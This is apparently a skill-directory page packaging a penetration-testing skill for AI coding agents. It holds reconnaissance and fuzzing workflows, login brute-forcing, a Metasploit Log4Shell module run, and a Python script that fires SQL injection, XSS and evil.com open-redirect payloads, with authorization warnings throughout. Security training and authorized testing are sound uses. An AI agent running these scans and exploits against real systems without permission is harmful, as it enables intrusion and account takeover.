# Penetration Tester

> Penetration testing workflows with ffuf, Metasploit, and security assessment tools

- Skill: `lodetomasi/penetration-tester` (Agent Skill)
- Install (CLI): `npx skillmds@latest add lodetomasi/penetration-tester`
- Raw SKILL.md: https://api.skillmd.com/api/skills/lodetomasi/penetration-tester/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: lodetomasi (https://skillmd.com/u/lodetomasi)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/lodetomasi/penetration-tester

---


# Penetration Tester Skill

## Overview
Penetration testing skill for authorized security assessments, vulnerability exploitation, and security validation. This skill focuses on ethical hacking techniques for CTF challenges, authorized pentesting engagements, and security research.

**IMPORTANT**: Only use for authorized testing with explicit written permission.

## Capabilities

### 1. Web Application Testing
- Directory/file fuzzing
- Parameter discovery
- Authentication bypass testing
- API endpoint enumeration
- Subdomain discovery

### 2. Network Security
- Port scanning
- Service enumeration
- Vulnerability scanning
- Exploit verification

### 3. Exploitation & Post-Exploitation
- Vulnerability exploitation (authorized)
- Privilege escalation testing
- Lateral movement assessment
- Data exfiltration testing

### 4. Reporting
- Findings documentation
- Risk assessment
- Remediation recommendations
- Executive summary

## Tools Integration

### ffuf (Fast Web Fuzzer)
Primary tool for web fuzzing:

```bash
# Install ffuf
go install github.com/ffuf/ffuf@latest

# Directory fuzzing
ffuf -w /usr/share/wordlists/dirb/common.txt \
  -u http://target.com/FUZZ \
  -mc 200,301,302,403

# Subdomain enumeration
ffuf -w /usr/share/wordlists/subdomains.txt \
  -u http://FUZZ.target.com \
  -mc 200

# Parameter fuzzing
ffuf -w params.txt \
  -u http://target.com/api?FUZZ=test \
  -mc 200

# POST data fuzzing
ffuf -w payloads.txt \
  -u http://target.com/login \
  -X POST \
  -d '{"username":"admin","password":"FUZZ"}' \
  -H "Content-Type: application/json"
```

### Nmap (Network Scanner)
Service and vulnerability discovery:

```bash
# Quick scan (top 1000 ports)
nmap -T4 target.com

# Full TCP scan
nmap -p- -T4 target.com

# Service version detection
nmap -sV -p 80,443 target.com

# OS detection
sudo nmap -O target.com

# Vulnerability scanning
nmap --script vuln -p 80,443 target.com

# Output all formats
nmap -oA scan_results -p- target.com
```

### Metasploit Framework
Exploitation framework:

```bash
# Start msfconsole
msfconsole

# Search for exploits
search cve:2021-44228  # Log4Shell

# Use module
use exploit/multi/http/log4shell_header_injection

# Set options
set RHOSTS target.com
set RPORT 8080
set LHOST 192.168.1.100

# Check if target is vulnerable
check

# Run exploit (authorized only!)
exploit
```

### Burp Suite
Web proxy and security testing:

```bash
# Start Burp Suite
java -jar burpsuite.jar

# Configure browser proxy: 127.0.0.1:8080
# Intercept requests
# Modify and replay
# Use Intruder for fuzzing
# Scanner for automated testing (Pro only)
```

## Penetration Testing Workflow

### Phase 1: Reconnaissance

```bash
# Passive reconnaissance
whois target.com
nslookup target.com
dig target.com ANY

# Subdomain enumeration
ffuf -w subdomains.txt -u http://FUZZ.target.com -mc 200

# Google dorking
site:target.com filetype:pdf
site:target.com inurl:admin
```

### Phase 2: Scanning & Enumeration

```bash
# Port scanning
nmap -p- -T4 -oA nmap_full target.com

# Service enumeration
nmap -sV -sC -p 80,443,22,3306 target.com

# Web technology detection
whatweb target.com
wafw00f target.com  # WAF detection
```

### Phase 3: Vulnerability Assessment

```bash
# Directory fuzzing
ffuf -w /usr/share/wordlists/dirb/big.txt \
  -u http://target.com/FUZZ \
  -mc 200,301,302,403 \
  -o directory_fuzz.json

# Nikto scan
nikto -h http://target.com

# SQLmap (SQL injection testing)
sqlmap -u "http://target.com/page?id=1" --batch --dbs

# XSS testing
ffuf -w xss-payloads.txt \
  -u "http://target.com/search?q=FUZZ" \
  -mr "<script"
```

### Phase 4: Exploitation (Authorized Only)

```bash
# Test identified vulnerabilities
# Document successful exploits
# Capture proof-of-concept
# Maintain access for testing duration
```

### Phase 5: Reporting

```bash
# Generate findings report
# Include screenshots
# Provide remediation steps
# Rate severity (CVSS)
```

## Integration Scripts

### pentest_workflow.sh
Automated reconnaissance and scanning:

```bash
#!/bin/bash
# Comprehensive penetration testing workflow

TARGET=$1
REPORT_DIR="pentest-reports/$TARGET-$(date +%Y%m%d)"
mkdir -p $REPORT_DIR

if [ -z "$TARGET" ]; then
    echo "Usage: $0 <target>"
    exit 1
fi

echo "=== Penetration Test: $TARGET ==="
echo "⚠️  Ensure you have written authorization!"
echo "Report directory: $REPORT_DIR"
echo

# 1. Reconnaissance
echo "[1/5] Reconnaissance..."
whois $TARGET > $REPORT_DIR/whois.txt
dig $TARGET ANY > $REPORT_DIR/dns.txt

# 2. Subdomain enumeration
echo "[2/5] Subdomain enumeration..."
ffuf -w /usr/share/wordlists/subdomains-top1million-5000.txt \
  -u http://FUZZ.$TARGET \
  -mc 200 \
  -o $REPORT_DIR/subdomains.json \
  -s  # Silent mode

# 3. Port scanning
echo "[3/5] Port scanning..."
nmap -p- -T4 -oA $REPORT_DIR/nmap_full $TARGET

# 4. Service enumeration
echo "[4/5] Service enumeration..."
PORTS=$(grep "^[0-9]" $REPORT_DIR/nmap_full.nmap | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
nmap -sV -sC -p$PORTS -oA $REPORT_DIR/nmap_services $TARGET

# 5. Web fuzzing (if web server detected)
if grep -q "80\|443" $REPORT_DIR/nmap_full.nmap; then
    echo "[5/5] Web directory fuzzing..."
    ffuf -w /usr/share/wordlists/dirb/common.txt \
      -u http://$TARGET/FUZZ \
      -mc 200,301,302,403 \
      -o $REPORT_DIR/directories.json \
      -s
fi

echo
echo "=== Scan Complete ==="
echo "Results: $REPORT_DIR/"
echo
echo "Next steps:"
echo "  1. Review findings"
echo "  2. Test identified services"
echo "  3. Document vulnerabilities"
echo "  4. Generate report"
```

### web_fuzzer.sh
Advanced web application fuzzing:

```bash
#!/bin/bash
# Web application fuzzing toolkit

TARGET=$1
WORDLIST=${2:-/usr/share/wordlists/dirb/common.txt}

if [ -z "$TARGET" ]; then
    echo "Usage: $0 <target> [wordlist]"
    exit 1
fi

echo "=== Web Fuzzing: $TARGET ==="

# 1. Directory fuzzing
echo "Fuzzing directories..."
ffuf -w $WORDLIST \
  -u $TARGET/FUZZ \
  -mc 200,301,302,403 \
  -fc 404 \
  -o fuzz_directories.json

# 2. File fuzzing (multiple extensions)
echo "Fuzzing files..."
ffuf -w $WORDLIST \
  -u $TARGET/FUZZ \
  -e .php,.html,.txt,.js,.json,.xml,.bak,.old \
  -mc 200 \
  -o fuzz_files.json

# 3. Parameter fuzzing
echo "Fuzzing parameters..."
ffuf -w /usr/share/wordlists/parameters.txt \
  -u "$TARGET/api?FUZZ=test" \
  -mc 200 \
  -fr "error|invalid" \
  -o fuzz_parameters.json

# 4. Virtual host fuzzing
echo "Fuzzing virtual hosts..."
ffuf -w /usr/share/wordlists/subdomains.txt \
  -u $TARGET \
  -H "Host: FUZZ.$TARGET" \
  -mc 200 \
  -o fuzz_vhosts.json

echo "Fuzzing complete. Check *_fuzz.json files."
```

### exploit_validator.py
Test and validate exploits:

```python
#!/usr/bin/env python3
import requests
import sys

def test_sql_injection(url, param):
    """Test for SQL injection vulnerability"""
    payloads = [
        "' OR '1'='1",
        "1' OR '1'='1' --",
        "admin'--",
        "1' UNION SELECT NULL--"
    ]

    print(f"Testing SQL injection on {url}?{param}=...")

    for payload in payloads:
        try:
            response = requests.get(f"{url}?{param}={payload}", timeout=5)

            # Check for SQL errors
            sql_errors = [
                "SQL syntax",
                "mysql_fetch",
                "ORA-",
                "PostgreSQL",
                "SQLSTATE"
            ]

            if any(error in response.text for error in sql_errors):
                print(f"  ⚠️  VULNERABLE: SQL error with payload: {payload}")
                return True

            # Check for successful bypass (status 200 + different content)
            if response.status_code == 200 and len(response.text) > 1000:
                print(f"  ⚠️  POTENTIALLY VULNERABLE: {payload}")

        except requests.RequestException as e:
            print(f"  Error: {e}")

    print("  ✓ No SQL injection detected")
    return False

def test_xss(url, param):
    """Test for XSS vulnerability"""
    payloads = [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')"
    ]

    print(f"Testing XSS on {url}?{param}=...")

    for payload in payloads:
        try:
            response = requests.get(f"{url}?{param}={payload}", timeout=5)

            # Check if payload is reflected unescaped
            if payload in response.text:
                print(f"  ⚠️  VULNERABLE: Payload reflected: {payload}")
                return True

        except requests.RequestException as e:
            print(f"  Error: {e}")

    print("  ✓ No XSS detected")
    return False

def test_open_redirect(url, param):
    """Test for open redirect vulnerability"""
    payloads = [
        "https://evil.com",
        "//evil.com",
        "/\\evil.com"
    ]

    print(f"Testing open redirect on {url}?{param}=...")

    for payload in payloads:
        try:
            response = requests.get(
                f"{url}?{param}={payload}",
                allow_redirects=False,
                timeout=5
            )

            # Check for redirect to external domain
            if response.status_code in [301, 302, 303, 307, 308]:
                location = response.headers.get('Location', '')
                if 'evil.com' in location:
                    print(f"  ⚠️  VULNERABLE: Redirects to: {location}")
                    return True

        except requests.RequestException as e:
            print(f"  Error: {e}")

    print("  ✓ No open redirect detected")
    return False

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print("Usage: python exploit_validator.py <url> <param>")
        sys.exit(1)

    url = sys.argv[1]
    param = sys.argv[2]

    print("=== Vulnerability Testing ===")
    print("⚠️  Only test systems you have permission to test!\n")

    test_sql_injection(url, param)
    test_xss(url, param)
    test_open_redirect(url, param)
```

## Common Attack Vectors

### 1. SQL Injection
```bash
# ffuf with SQL payloads
ffuf -w sql-payloads.txt \
  -u "http://target.com/api/user?id=FUZZ" \
  -mr "root:|admin:|SELECT"
```

### 2. Authentication Bypass
```bash
# Fuzz login parameters
ffuf -w usernames.txt:USER -w passwords.txt:PASS \
  -u http://target.com/login \
  -X POST \
  -d "username=USER&password=PASS" \
  -mc 200,302
```

### 3. API Enumeration
```bash
# Discover API endpoints
ffuf -w api-endpoints.txt \
  -u http://target.com/api/FUZZ \
  -mc 200,401,403
```

### 4. File Upload Bypass
```bash
# Test file upload filters
ffuf -w file-extensions.txt \
  -u http://target.com/upload \
  -X POST \
  -F "file=@shell.FUZZ" \
  -mc 200
```

## Wordlists & Resources

```bash
# SecLists (comprehensive wordlists)
git clone https://github.com/danielmiessler/SecLists

# Common wordlists
/usr/share/wordlists/dirb/common.txt
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/subdomains-top1million-5000.txt

# Custom wordlists
cewl http://target.com -d 2 -m 5 -w custom_wordlist.txt
```

## Best Practices

1. **Written Authorization**: Always obtain written permission
2. **Scope Definition**: Test only authorized targets
3. **Rate Limiting**: Don't overwhelm systems
4. **Documentation**: Record every test and finding
5. **Proof of Concept**: Demonstrate vulnerabilities safely
6. **Responsible Disclosure**: Report findings appropriately
7. **No Destructive Tests**: Avoid DoS, data destruction
8. **Cleanup**: Remove shells, backdoors after testing
9. **Secure Storage**: Encrypt reports and credentials
10. **Legal Compliance**: Follow local laws and regulations

## Reporting Template

```markdown
# Penetration Test Report

## Executive Summary
- Test duration: [dates]
- Scope: [targets]
- Critical findings: [count]
- Overall risk: [High/Medium/Low]

## Findings

### [#1] SQL Injection in Login Form
- **Severity**: Critical (CVSS 9.8)
- **Description**: Login form vulnerable to SQL injection
- **Impact**: Complete database compromise
- **Proof of Concept**:
  ```
  username: admin' OR '1'='1'--
  password: anything
  ```
- **Remediation**: Use parameterized queries
- **Status**: Open

### [#2] Reflected XSS in Search
- **Severity**: High (CVSS 7.4)
- **Description**: Search parameter reflects user input unescaped
- **Impact**: Account takeover via session hijacking
- **Proof of Concept**:
  ```
  http://target.com/search?q=<script>alert(document.cookie)</script>
  ```
- **Remediation**: Implement output encoding, CSP headers
- **Status**: Open

## Recommendations
1. Immediate: Fix critical SQL injection
2. Short-term: Implement CSP, output encoding
3. Long-term: Security training, regular pentests
```

## Requirements

```bash
# ffuf
go install github.com/ffuf/ffuf@latest

# Nmap
sudo apt-get install nmap

# Metasploit
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Burp Suite
# Download from: https://portswigger.net/burp

# Wordlists
sudo apt-get install seclists
# Or: git clone https://github.com/danielmiessler/SecLists
```

## Legal & Ethical Considerations

### Authorization Requirements
- Written permission from system owner
- Defined scope and objectives
- Rules of engagement documented
- Emergency contacts established

### Prohibited Activities
- Testing without authorization
- Denial of Service attacks
- Data exfiltration beyond PoC
- Social engineering without consent
- Physical security testing without permission

### Responsible Disclosure
1. Report findings to organization
2. Provide reasonable time to fix (90 days typical)
3. Don't publicly disclose before fix
4. Coordinate disclosure with vendor

## CTF & Training Resources

- **HackTheBox**: https://www.hackthebox.com
- **TryHackMe**: https://tryhackme.com
- **PentesterLab**: https://pentesterlab.com
- **VulnHub**: https://www.vulnhub.com
- **OWASP WebGoat**: Vulnerable web application for training